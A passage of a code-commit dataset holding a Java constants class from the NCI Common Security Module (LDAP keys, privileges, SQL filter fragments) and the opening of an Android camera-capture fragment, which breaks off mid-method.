Java | bsd-3-clause | error: pathspec 'software/api/src/gov/nih/nci/security/constants/Constants.java' did not match any file(s) known to git
| 9ac219725ea7a85182de0e6ee74acf06ea4063e8 | 1 | CBIIT/common-security-module,NCIP/common-security-module,CBIIT/common-security-module,NCIP/common-security-module,CBIIT/common-security-module,CBIIT/common-security-module,NCIP/common-security-module,NCIP/common-security-module,CBIIT/common-security-module | /*
* Created on Nov 30, 2004
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package gov.nih.nci.security.constants;
/**
*
*<!-- LICENSE_TEXT_START -->
*
*The NCICB Common Security Module (CSM) Software License, Version 3.0 Copyright
*2004-2005 Ekagra Software Technologies Limited ('Ekagra')
*
*Copyright Notice. The software subject to this notice and license includes both
*human readable source code form and machine readable, binary, object code form
*(the 'CSM Software'). The CSM Software was developed in conjunction with the
*National Cancer Institute ('NCI') by NCI employees and employees of Ekagra. To
*the extent government employees are authors, any rights in such works shall be
*subject to Title 17 of the United States Code, section 105.
*
*This CSM Software License (the 'License') is between NCI and You. 'You (or
*'Your') shall mean a person or an entity, and all other entities that control,
*are controlled by, or are under common control with the entity. 'Control' for
*purposes of this definition means (i) the direct or indirect power to cause the
*direction or management of such entity, whether by contract or otherwise, or
*(ii) ownership of fifty percent (50%) or more of the outstanding shares, or
*(iii) beneficial ownership of such entity.
*
*This License is granted provided that You agree to the conditions described
*below. NCI grants You a non-exclusive, worldwide, perpetual, fully-paid-up,
*no-charge, irrevocable, transferable and royalty-free right and license in its
*rights in the CSM Software to (i) use, install, access, operate, execute, copy,
*modify, translate, market, publicly display, publicly perform, and prepare
*derivative works of the CSM Software; (ii) distribute and have distributed to
*and by third parties the CSM Software and any modifications and derivative works
*thereof; and (iii) sublicense the foregoing rights set out in (i) and (ii) to
*third parties, including the right to license such rights to further third
*parties. For sake of clarity, and not by way of limitation, NCI shall have no
*right of accounting or right of payment from You or Your sublicensees for the
*rights granted under this License. This License is granted at no charge to You.
*
*1. Your redistributions of the source code for the Software must retain the
*above copyright notice, this list of conditions and the disclaimer and
*limitation of liability of Article 6 below. Your redistributions in object code
*form must reproduce the above copyright notice, this list of conditions and the
*disclaimer of Article 6 in the documentation and/or other materials provided
*with the distribution, if any.
*2. Your end-user documentation included with the redistribution, if any, must
*include the following acknowledgment: 'This product includes software developed
*by Ekagra and the National Cancer Institute.' If You do not include such
*end-user documentation, You shall include this acknowledgment in the Software
*itself, wherever such third-party acknowledgments normally appear.
*
*3. You may not use the names 'The National Cancer Institute', 'NCI' 'Ekagra
*Software Technologies Limited' and 'Ekagra' to endorse or promote products
*derived from this Software. This License does not authorize You to use any
*trademarks, service marks, trade names, logos or product names of either NCI or
*Ekagra, except as required to comply with the terms of this License.
*
*4. For sake of clarity, and not by way of limitation, You may incorporate this
*Software into Your proprietary programs and into any third party proprietary
*programs. However, if You incorporate the Software into third party proprietary
*programs, You agree that You are solely responsible for obtaining any permission
*from such third parties required to incorporate the Software into such third
*party proprietary programs and for informing Your sublicensees, including
*without limitation Your end-users, of their obligation to secure any required
*permissions from such third parties before incorporating the Software into such
*third party proprietary software programs. In the event that You fail to obtain
*such permissions, You agree to indemnify NCI for any claims against NCI by such
*third parties, except to the extent prohibited by law, resulting from Your
*failure to obtain such permissions.
*
*5. For sake of clarity, and not by way of limitation, You may add Your own
*copyright statement to Your modifications and to the derivative works, and You
*may provide additional or different license terms and conditions in Your
*sublicenses of modifications of the Software, or any derivative works of the
*Software as a whole, provided Your use, reproduction, and distribution of the
*Work otherwise complies with the conditions stated in this License.
*
*6. THIS SOFTWARE IS PROVIDED 'AS IS,' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
*(INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
*NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE) ARE DISCLAIMED. IN NO
*EVENT SHALL THE NATIONAL CANCER INSTITUTE, EKAGRA, OR THEIR AFFILIATES BE LIABLE
*FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
*DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
*SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
*CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
*TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
*THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*<!-- LICENSE_TEXT_END -->
*
*/
/**
* @author Kunal Modi (Ekagra Software Technologies Ltd.)
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class Constants
{
public static final String INITIAL_CONTEXT = "com.sun.jndi.ldap.LdapCtxFactory";
public static final String LDAP_HOST = "ldapHost";
public static final String LDAP_SEARCHABLE_BASE = "ldapSearchableBase";
public static final String LDAP_USER_ID_LABEL = "ldapUserIdLabel";
public static final String LDAP_ADMIN_USER_NAME = "ldapAdminUserName";
public static final String LDAP_ADMIN_PASSWORD = "ldapAdminPassword";
public static final String USER_LOGIN_ID = "USER_LOGIN_ID";
public static final String USER_PASSWORD = "USER_PASSWORD";
public static final String USER_FIRST_NAME = "USER_FIRST_NAME";
public static final String USER_LAST_NAME = "USER_LAST_NAME";
public static final String USER_EMAIL_ID = "USER_EMAIL_ID";
public static final String TABLE_NAME = "TABLE_NAME";
public static final String CSM_EXECUTE_PRIVILEGE = "EXECUTE";
public static final String CSM_ACCESS_PRIVILEGE = "ACCESS";
public static final String CSM_READ_PRIVILEGE = "READ";
public static final String CSM_WRITE_PRIVILEGE = "WRITE";
public static final String CSM_UPDATE_PRIVILEGE = "UPDATE";
public static final String CSM_DELETE_PRIVILEGE = "DELETE";
public static final String CSM_CREATE_PRIVILEGE = "CREATE";
public static final String AUTHENTICATION = "authentication";
public static final String AUTHORIZATION = "authorization";
public static final String FILE_NAME_SUFFIX = ".csm.new.hibernate.cfg.xml";
public static final String APPLICATION_SECURITY_CONFIG_FILE = "ApplicationSecurityConfig.xml";
public static final String YES = "YES";
public static final String ENCRYPTION_ENABLED = "encryption-enabled";
public static final String LOCKOUT_TIME = "1800000";
public static final String ALLOWED_LOGIN_TIME = "60000";
public static final String ALLOWED_ATTEMPTS = "3";
public static final String HIBERNATE_MYSQL_DIALECT = "org.hibernate.dialect.MySQLDialect";
public static final String CSM_FILTER_ALIAS = "z_csm_filter_alias_z";
public static final String CSM_FILTER_USER_QUERY_PART_ONE = "( select pe.attribute_value from csm_protection_group pg, csm_protection_element pe, csm_pg_pe pgpe, csm_user_group_role_pg ugrpg, csm_user u, csm_role_privilege rp, csm_role r, csm_privilege p where ugrpg.role_id = r.role_id and ugrpg.user_id = u.user_id and ugrpg.protection_group_id = ANY (select pg1.protection_group_id from csm_protection_group pg1 where pg1.protection_group_id = pg.protection_group_id or pg1.protection_group_id = (select pg2.parent_protection_group_id from csm_protection_group pg2 where pg2.protection_group_id = pg.protection_group_id)) and pg.protection_group_id = pgpe.protection_group_id and pgpe.protection_element_id = pe.protection_element_id and r.role_id = rp.role_id and rp.privilege_id = p.privilege_id and pe.object_id= '";
public static final String CSM_FILTER_USER_QUERY_PART_TWO = "' and p.privilege_name='READ' and u.login_name=:USER_NAME and pe.application_id=:APPLICATION_ID";
public static final String CSM_FILTER_GROUP_QUERY_PART_ONE = "( select distinct pe.attribute_value from csm_protection_group pg, csm_protection_element pe, csm_pg_pe pgpe, csm_user_group_role_pg ugrpg, csm_group g, csm_role_privilege rp, csm_role r, csm_privilege p where ugrpg.role_id = r.role_id and ugrpg.group_id = g.group_id and ugrpg.protection_group_id = any ( select pg1.protection_group_id from csm_protection_group pg1 where pg1.protection_group_id = pg.protection_group_id or pg1.protection_group_id = (select pg2.parent_protection_group_id from csm_protection_group pg2 where pg2.protection_group_id = pg.protection_group_id) ) and pg.protection_group_id = pgpe.protection_group_id and pgpe.protection_element_id = pe.protection_element_id and r.role_id = rp.role_id and rp.privilege_id = p.privilege_id and pe.object_id= '";
public static final String CSM_FILTER_GROUP_QUERY_PART_TWO = "' and p.privilege_name='READ' and g.group_name IN (:GROUP_NAMES ) and pe.application_id=:APPLICATION_ID";
}
| software/api/src/gov/nih/nci/security/constants/Constants.java | - Modified to consider MySQL Performance for Instance Level Queries.
SVN-Revision: 2585
| software/api/src/gov/nih/nci/security/constants/Constants.java | - Modified to consider MySQL Performance for Instance Level Queries. | <ide><path>oftware/api/src/gov/nih/nci/security/constants/Constants.java
<add>/*
<add> * Created on Nov 30, 2004
<add> *
<add> * TODO To change the template for this generated file go to
<add> * Window - Preferences - Java - Code Style - Code Templates
<add> */
<add>package gov.nih.nci.security.constants;
<add>
<add>/**
<add> *
<add> *<!-- LICENSE_TEXT_START -->
<add> *
<add> *The NCICB Common Security Module (CSM) Software License, Version 3.0 Copyright
<add> *2004-2005 Ekagra Software Technologies Limited ('Ekagra')
<add> *
<add> *Copyright Notice. The software subject to this notice and license includes both
<add> *human readable source code form and machine readable, binary, object code form
<add> *(the 'CSM Software'). The CSM Software was developed in conjunction with the
<add> *National Cancer Institute ('NCI') by NCI employees and employees of Ekagra. To
<add> *the extent government employees are authors, any rights in such works shall be
<add> *subject to Title 17 of the United States Code, section 105.
<add> *
<add> *This CSM Software License (the 'License') is between NCI and You. 'You (or
<add> *'Your') shall mean a person or an entity, and all other entities that control,
<add> *are controlled by, or are under common control with the entity. 'Control' for
<add> *purposes of this definition means (i) the direct or indirect power to cause the
<add> *direction or management of such entity, whether by contract or otherwise, or
<add> *(ii) ownership of fifty percent (50%) or more of the outstanding shares, or
<add> *(iii) beneficial ownership of such entity.
<add> *
<add> *This License is granted provided that You agree to the conditions described
<add> *below. NCI grants You a non-exclusive, worldwide, perpetual, fully-paid-up,
<add> *no-charge, irrevocable, transferable and royalty-free right and license in its
<add> *rights in the CSM Software to (i) use, install, access, operate, execute, copy,
<add> *modify, translate, market, publicly display, publicly perform, and prepare
<add> *derivative works of the CSM Software; (ii) distribute and have distributed to
<add> *and by third parties the CSM Software and any modifications and derivative works
<add> *thereof; and (iii) sublicense the foregoing rights set out in (i) and (ii) to
<add> *third parties, including the right to license such rights to further third
<add> *parties. For sake of clarity, and not by way of limitation, NCI shall have no
<add> *right of accounting or right of payment from You or Your sublicensees for the
<add> *rights granted under this License. This License is granted at no charge to You.
<add> *
<add> *1. Your redistributions of the source code for the Software must retain the
<add> *above copyright notice, this list of conditions and the disclaimer and
<add> *limitation of liability of Article 6 below. Your redistributions in object code
<add> *form must reproduce the above copyright notice, this list of conditions and the
<add> *disclaimer of Article 6 in the documentation and/or other materials provided
<add> *with the distribution, if any.
<add> *2. Your end-user documentation included with the redistribution, if any, must
<add> *include the following acknowledgment: 'This product includes software developed
<add> *by Ekagra and the National Cancer Institute.' If You do not include such
<add> *end-user documentation, You shall include this acknowledgment in the Software
<add> *itself, wherever such third-party acknowledgments normally appear.
<add> *
<add> *3. You may not use the names 'The National Cancer Institute', 'NCI' 'Ekagra
<add> *Software Technologies Limited' and 'Ekagra' to endorse or promote products
<add> *derived from this Software. This License does not authorize You to use any
<add> *trademarks, service marks, trade names, logos or product names of either NCI or
<add> *Ekagra, except as required to comply with the terms of this License.
<add> *
<add> *4. For sake of clarity, and not by way of limitation, You may incorporate this
<add> *Software into Your proprietary programs and into any third party proprietary
<add> *programs. However, if You incorporate the Software into third party proprietary
<add> *programs, You agree that You are solely responsible for obtaining any permission
<add> *from such third parties required to incorporate the Software into such third
<add> *party proprietary programs and for informing Your sublicensees, including
<add> *without limitation Your end-users, of their obligation to secure any required
<add> *permissions from such third parties before incorporating the Software into such
<add> *third party proprietary software programs. In the event that You fail to obtain
<add> *such permissions, You agree to indemnify NCI for any claims against NCI by such
<add> *third parties, except to the extent prohibited by law, resulting from Your
<add> *failure to obtain such permissions.
<add> *
<add> *5. For sake of clarity, and not by way of limitation, You may add Your own
<add> *copyright statement to Your modifications and to the derivative works, and You
<add> *may provide additional or different license terms and conditions in Your
<add> *sublicenses of modifications of the Software, or any derivative works of the
<add> *Software as a whole, provided Your use, reproduction, and distribution of the
<add> *Work otherwise complies with the conditions stated in this License.
<add> *
<add> *6. THIS SOFTWARE IS PROVIDED 'AS IS,' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
<add> *(INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
<add> *NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE) ARE DISCLAIMED. IN NO
<add> *EVENT SHALL THE NATIONAL CANCER INSTITUTE, EKAGRA, OR THEIR AFFILIATES BE LIABLE
<add> *FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
<add> *DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
<add> *SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
<add> *CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
<add> *TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
<add> *THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
<add> *
<add> *<!-- LICENSE_TEXT_END -->
<add> *
<add> */
<add>
<add>
<add>/**
<add> * @author Kunal Modi (Ekagra Software Technologies Ltd.)
<add> *
<add> * TODO To change the template for this generated type comment go to
<add> * Window - Preferences - Java - Code Style - Code Templates
<add> */
<add>public class Constants
<add>{
<add> public static final String INITIAL_CONTEXT = "com.sun.jndi.ldap.LdapCtxFactory";
<add> public static final String LDAP_HOST = "ldapHost";
<add> public static final String LDAP_SEARCHABLE_BASE = "ldapSearchableBase";
<add> public static final String LDAP_USER_ID_LABEL = "ldapUserIdLabel";
<add> public static final String LDAP_ADMIN_USER_NAME = "ldapAdminUserName";
<add> public static final String LDAP_ADMIN_PASSWORD = "ldapAdminPassword";
<add>
<add> public static final String USER_LOGIN_ID = "USER_LOGIN_ID";
<add> public static final String USER_PASSWORD = "USER_PASSWORD";
<add> public static final String USER_FIRST_NAME = "USER_FIRST_NAME";
<add> public static final String USER_LAST_NAME = "USER_LAST_NAME";
<add> public static final String USER_EMAIL_ID = "USER_EMAIL_ID";
<add>
<add> public static final String TABLE_NAME = "TABLE_NAME";
<add>
<add> public static final String CSM_EXECUTE_PRIVILEGE = "EXECUTE";
<add> public static final String CSM_ACCESS_PRIVILEGE = "ACCESS";
<add> public static final String CSM_READ_PRIVILEGE = "READ";
<add> public static final String CSM_WRITE_PRIVILEGE = "WRITE";
<add> public static final String CSM_UPDATE_PRIVILEGE = "UPDATE";
<add> public static final String CSM_DELETE_PRIVILEGE = "DELETE";
<add> public static final String CSM_CREATE_PRIVILEGE = "CREATE";
<add>
<add>
<add> public static final String AUTHENTICATION = "authentication";
<add> public static final String AUTHORIZATION = "authorization";
<add>
<add> public static final String FILE_NAME_SUFFIX = ".csm.new.hibernate.cfg.xml";
<add> public static final String APPLICATION_SECURITY_CONFIG_FILE = "ApplicationSecurityConfig.xml";
<add> public static final String YES = "YES";
<add>
<add> public static final String ENCRYPTION_ENABLED = "encryption-enabled";
<add>
<add> public static final String LOCKOUT_TIME = "1800000";
<add> public static final String ALLOWED_LOGIN_TIME = "60000";
<add> public static final String ALLOWED_ATTEMPTS = "3";
<add>
<add>
<add> public static final String HIBERNATE_MYSQL_DIALECT = "org.hibernate.dialect.MySQLDialect";
<add> public static final String CSM_FILTER_ALIAS = "z_csm_filter_alias_z";
<add> public static final String CSM_FILTER_USER_QUERY_PART_ONE = "( select pe.attribute_value from csm_protection_group pg, csm_protection_element pe, csm_pg_pe pgpe, csm_user_group_role_pg ugrpg, csm_user u, csm_role_privilege rp, csm_role r, csm_privilege p where ugrpg.role_id = r.role_id and ugrpg.user_id = u.user_id and ugrpg.protection_group_id = ANY (select pg1.protection_group_id from csm_protection_group pg1 where pg1.protection_group_id = pg.protection_group_id or pg1.protection_group_id = (select pg2.parent_protection_group_id from csm_protection_group pg2 where pg2.protection_group_id = pg.protection_group_id)) and pg.protection_group_id = pgpe.protection_group_id and pgpe.protection_element_id = pe.protection_element_id and r.role_id = rp.role_id and rp.privilege_id = p.privilege_id and pe.object_id= '";
<add> public static final String CSM_FILTER_USER_QUERY_PART_TWO = "' and p.privilege_name='READ' and u.login_name=:USER_NAME and pe.application_id=:APPLICATION_ID";
<add> public static final String CSM_FILTER_GROUP_QUERY_PART_ONE = "( select distinct pe.attribute_value from csm_protection_group pg, csm_protection_element pe, csm_pg_pe pgpe, csm_user_group_role_pg ugrpg, csm_group g, csm_role_privilege rp, csm_role r, csm_privilege p where ugrpg.role_id = r.role_id and ugrpg.group_id = g.group_id and ugrpg.protection_group_id = any ( select pg1.protection_group_id from csm_protection_group pg1 where pg1.protection_group_id = pg.protection_group_id or pg1.protection_group_id = (select pg2.parent_protection_group_id from csm_protection_group pg2 where pg2.protection_group_id = pg.protection_group_id) ) and pg.protection_group_id = pgpe.protection_group_id and pgpe.protection_element_id = pe.protection_element_id and r.role_id = rp.role_id and rp.privilege_id = p.privilege_id and pe.object_id= '";
<add> public static final String CSM_FILTER_GROUP_QUERY_PART_TWO = "' and p.privilege_name='READ' and g.group_name IN (:GROUP_NAMES ) and pe.application_id=:APPLICATION_ID";
<add>
<add>
<add>}
<add>
<add>
<add>
<add> |
|
Java | mit | 17c5949e1521f2cef7695007b1f74647e6530284 | 0 | evosec/fotilo | package de.evosec.fotilo;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.hardware.Camera;
import android.media.MediaActionSound;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.support.v4.app.Fragment;
import android.view.Display;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.ImageButton;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
/**
* A simple {@link Fragment} subclass. Activities that contain this fragment
* must implement the {@link CamFragment.OnFragmentInteractionListener}
* interface to handle interaction events. Use the
* {@link CamFragment#newInstance} factory method to create an instance of this
* fragment.
*/
public class CamFragment extends Fragment implements View.OnClickListener {
private static final Logger LOG =
LoggerFactory.getLogger(CamFragment.class);
private static final int REVIEW_PICTURES_ACTIVITY_REQUEST = 123;
private static int MEDIA_TYPE_IMAGE = 1;
private int maxPictures;
private int picturesTaken;
private ArrayList<String> pictures;
private Intent resultIntent;
private Bundle resultBundle;
private Camera camera;
private Preview preview;
private DrawingView drawingView;
private RadioGroup flashmodes;
private int maxZoomLevel;
private int currentZoomLevel;
private ProgressDialog progress;
private boolean safeToTakePicture = false;
private final Camera.PictureCallback pictureCallback =
new Camera.PictureCallback() {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// wenn maxPictures noch nicht erreicht
if (picturesTaken < maxPictures || maxPictures == 0) {
File pictureFile = getOutputMediaFile(MEDIA_TYPE_IMAGE);
if (pictureFile == null) {
LOG.debug(
"Konnte Daei nicht erstellen, Berechtigungen überprüfen");
return;
}
FileOutputStream fos = null;
try {
fos = new FileOutputStream(pictureFile);
fos.write(data);
fos.close();
final Uri imageUri = getImageContentUri(
getContext(), pictureFile);
pictures.add(imageUri.toString());
showLastPicture(imageUri);
picturesTaken++;
if (maxPictures > 0) {
Toast.makeText(getContext(),
"Picture " + picturesTaken + " / "
+ maxPictures,
Toast.LENGTH_SHORT).show();
} else {
LOG.debug("Picture " + picturesTaken + " / "
+ maxPictures);
}
displayPicturesTaken();
// set Result
resultBundle.putStringArrayList("pictures",
pictures);
resultIntent.putExtra("data", resultBundle);
sendNewPictureBroadcast(imageUri);
camera.startPreview();
safeToTakePicture = true;
} catch (FileNotFoundException e) {
LOG.debug("File not found: " + e);
} catch (IOException e) {
LOG.debug("Error accessing file: " + e);
} finally {
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
LOG.debug("" + e);
}
}
progress.dismiss();
}
}
// wenn maxPictures erreicht, Bildpfade zurückgeben
if (picturesTaken == maxPictures) {
LOG.debug("maxPictures erreicht");
getActivity().setResult(Activity.RESULT_OK,
resultIntent);
getActivity().finish();
}
}
};
private void displayPicturesTaken() {
TextView txtpicturesTaken =
(TextView) getActivity().findViewById(R.id.picturesTaken);
txtpicturesTaken.setText("Bilder: " + picturesTaken);
}
private void showLastPicture(Uri imageUri) {
ImageButton pictureReview =
(ImageButton) getActivity().findViewById(R.id.pictureReview);
pictureReview.setOnClickListener(this);
pictureReview.setVisibility(View.VISIBLE);
new ShowThumbnailTask(pictureReview, getActivity().getContentResolver())
.execute(imageUri);
}
private void sendNewPictureBroadcast(Uri imageUri) {
Intent intent = new Intent("com.android.camera.NEW_PICTURE");
try {
intent.setData(imageUri);
} catch (Exception e) {
LOG.debug("" + e);
}
getActivity().sendBroadcast(intent);
}
private static Uri getImageContentUri(Context context, File imageFile) {
String filePath = imageFile.getAbsolutePath();
Cursor cursor = context.getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
new String[] {MediaStore.Images.Media._ID},
MediaStore.Images.Media.DATA + "=? ", new String[] {filePath},
null);
if (cursor != null && cursor.moveToFirst()) {
int id = cursor
.getInt(cursor.getColumnIndex(MediaStore.MediaColumns._ID));
Uri baseUri = Uri.parse("content://media/external/images/media");
return Uri.withAppendedPath(baseUri, "" + id);
} else {
if (imageFile.exists()) {
ContentValues values = new ContentValues();
values.put(MediaStore.Images.Media.DATA, filePath);
return context.getContentResolver().insert(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
} else {
return null;
}
}
}
private static File getOutputMediaFile(int type) {
File storageDir =
new File(Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_PICTURES), "MyCam");
// Wenn Verzeichnis nicht existiert, erstellen
if (!storageDir.exists() && !storageDir.mkdirs()) {
LOG.debug("Konnte Bilderverzeichnis nicht erstellen!");
return null;
}
// Dateinamen erzeugen
String timeStmp =
new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
File mediaFile;
if (type == MEDIA_TYPE_IMAGE) {
mediaFile = new File(storageDir.getPath() + File.separator + "IMG_"
+ timeStmp + ".jpg");
} else {
return null;
}
return mediaFile;
}
private void initFlashmodes() {
flashmodes =
(RadioGroup) getView().findViewById(R.id.radioGroup_Flashmodes);
List<String> supportedFlashModes =
camera.getParameters().getSupportedFlashModes();
if (supportedFlashModes != null) {
for (String flashMode : supportedFlashModes) {
switch (flashMode) {
case Camera.Parameters.FLASH_MODE_AUTO:
getView().findViewById(R.id.radio_flashmode_auto)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_ON:
getView().findViewById(R.id.radio_flashmode_on)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_OFF:
getView().findViewById(R.id.radio_flashmode_off)
.setVisibility(View.VISIBLE);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
getView().findViewById(R.id.radio_flashmode_redEye)
.setVisibility(View.VISIBLE);
break;
default:
break;
}
}
setDefaultFlashmode();
updateFlashModeIcon();
initSelectedFlashmode();
} else {
flashmodes.setVisibility(View.INVISIBLE);
}
}
private void initSelectedFlashmode() {
if (camera.getParameters().getSupportedFlashModes() != null) {
switch (camera.getParameters().getFlashMode()) {
case Camera.Parameters.FLASH_MODE_AUTO:
((RadioButton) getView()
.findViewById(R.id.radio_flashmode_auto)).setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_ON:
((RadioButton) getView().findViewById(R.id.radio_flashmode_on))
.setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_OFF:
((RadioButton) getView().findViewById(R.id.radio_flashmode_off))
.setChecked(true);
break;
case Camera.Parameters.FLASH_MODE_RED_EYE:
((RadioButton) getView()
.findViewById(R.id.radio_flashmode_redEye))
.setChecked(true);
break;
default:
break;
}
}
}
public void onRadioButtonClicked(View view) {
String flashMode = "";
switch (view.getId()) {
case R.id.radio_flashmode_auto:
flashMode = Camera.Parameters.FLASH_MODE_AUTO;
break;
case R.id.radio_flashmode_on:
flashMode = Camera.Parameters.FLASH_MODE_ON;
break;
case R.id.radio_flashmode_off:
flashMode = Camera.Parameters.FLASH_MODE_OFF;
break;
case R.id.radio_flashmode_redEye:
flashMode = Camera.Parameters.FLASH_MODE_RED_EYE;
break;
default:
break;
}
Camera.Parameters params = camera.getParameters();
params.setFlashMode(flashMode);
camera.setParameters(params);
updateFlashModeIcon();
flashmodes.setVisibility(View.INVISIBLE);
Toast.makeText(getContext(), "Flashmode = " + flashMode,
Toast.LENGTH_SHORT).show();
}
private void setDefaultFlashmode() {
Camera.Parameters params = camera.getParameters();
if (camera.getParameters().getSupportedFlashModes()
.contains(Camera.Parameters.FLASH_MODE_AUTO)) {
params.setFlashMode(Camera.Parameters.FLASH_MODE_AUTO);
camera.setParameters(params);
}
}
private void findOptimalPictureSize() {
// Ausgewählte Auflösung von rufender Activity einstellen
Intent i = getActivity().getIntent();
Camera.Parameters params = camera.getParameters();
int w = 0;
int h = 0;
double ratio = 0;
w = i.getIntExtra("width", w);
h = i.getIntExtra("height", h);
ratio = i.getDoubleExtra("aspectratio", ratio);
LOG.debug("w = " + w + "; h = " + h + "; ratio = " + ratio);
Camera.Size bestSize = null;
if (w > 0 && h > 0) {
// Mindestauflösung setzen
findOptimalPictureSizeBySize(w, h);
} else if (ratio > 0) {
bestSize = getLargestResolutionByAspectRatio(
camera.getParameters().getSupportedPictureSizes(), ratio);
if (bestSize.width == camera.getParameters().getPreviewSize().width
&& bestSize.height == camera.getParameters()
.getPreviewSize().height) {
// Errormeldung keine Auflösung mit passendem Seitenverhältnis
// gefunden
String error =
"Fehler: Keine Auflösung mit diesem Seitenverhältnis verfügbar!";
Toast.makeText(getContext(), error, Toast.LENGTH_SHORT).show();
resultBundle.putString("error", error);
resultIntent.putExtra("data", resultBundle);
getActivity().setResult(Activity.RESULT_CANCELED, resultIntent);
getActivity().finish();
return;
}
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height);
} else {
// keine Auflösung vorgegeben: höchste 4:3 Auflösung wählen
configureLargestFourToThreeRatioPictureSize();
}
}
public void configurePictureSize(Camera.Size size,
Camera.Parameters params) {
params.setPictureSize(size.width, size.height);
camera.setParameters(params);
scalePreviewSize();
}
public void scalePreviewSize() {
Camera.Size pictureSize = camera.getParameters().getPictureSize();
Camera.Size previewSize = camera.getParameters().getPreviewSize();
LOG.debug(
"PictureSize = " + pictureSize.width + " x " + pictureSize.height);
double pictureRatio =
(double) pictureSize.width / (double) pictureSize.height;
previewSize = getLargestResolutionByAspectRatio(
camera.getParameters().getSupportedPreviewSizes(), pictureRatio);
LOG.debug(
"PreviewSize = " + previewSize.width + " x " + previewSize.height);
configurePreviewSize(previewSize);
}
public Camera.Size getLargestResolutionByAspectRatio(
List<Camera.Size> sizes, double aspectRatio) {
Camera.Size largestSize = camera.getParameters().getPreviewSize();
largestSize.width = 0;
largestSize.height = 0;
for (Camera.Size size : sizes) {
double ratio = (double) size.width / (double) size.height;
if (Math.abs(ratio - aspectRatio) < 0.00000001
&& size.width >= largestSize.width
&& size.height >= largestSize.height) {
largestSize = size;
}
}
return largestSize;
}
public void configurePreviewSize(Camera.Size size) {
Display display = getActivity().getWindowManager().getDefaultDisplay();
Camera.Parameters params = camera.getParameters();
int screenWidth = display.getWidth();
int screenHeight = display.getHeight();
Camera.Size bestPreviewSize = size;
params.setPreviewSize(bestPreviewSize.width, bestPreviewSize.height);
camera.setParameters(params);
preview.getLayoutParams().width = bestPreviewSize.width;
preview.getLayoutParams().height = bestPreviewSize.height;
FrameLayout frameLayout =
(FrameLayout) getView().findViewById(R.id.preview);
RelativeLayout.LayoutParams layoutPreviewParams =
(RelativeLayout.LayoutParams) frameLayout.getLayoutParams();
layoutPreviewParams.width = bestPreviewSize.width;
layoutPreviewParams.height = bestPreviewSize.height;
layoutPreviewParams.addRule(RelativeLayout.CENTER_IN_PARENT);
frameLayout.setLayoutParams(layoutPreviewParams);
LOG.debug("screenSize = " + screenWidth + " x " + screenHeight);
LOG.debug("PreviewSize = " + bestPreviewSize.width + " x "
+ bestPreviewSize.height);
}
private void configureLargestFourToThreeRatioPictureSize() {
Camera.Parameters params = camera.getParameters();
List<Camera.Size> supportedPictureSizes =
params.getSupportedPictureSizes();
Camera.Size bestSize = params.getPictureSize();
bestSize.width = 0;
bestSize.height = 0;
double fourToThreeRatio = 4.0 / 3.0;
for (Camera.Size supportedSize : supportedPictureSizes) {
if (Math
.abs((double) supportedSize.width / supportedSize.height
- fourToThreeRatio) == 0
&& supportedSize.width >= bestSize.width
&& supportedSize.height >= bestSize.height) {
bestSize = supportedSize;
}
}
params.setPictureSize(bestSize.width, bestSize.height);
camera.setParameters(params);
configurePictureSize(bestSize, params);
LOG.debug(bestSize.width + " x " + bestSize.height);
}
private void findOptimalPictureSizeBySize(int w, int h) {
Camera.Parameters params = camera.getParameters();
double tempDiff = 0;
double diff = Integer.MAX_VALUE;
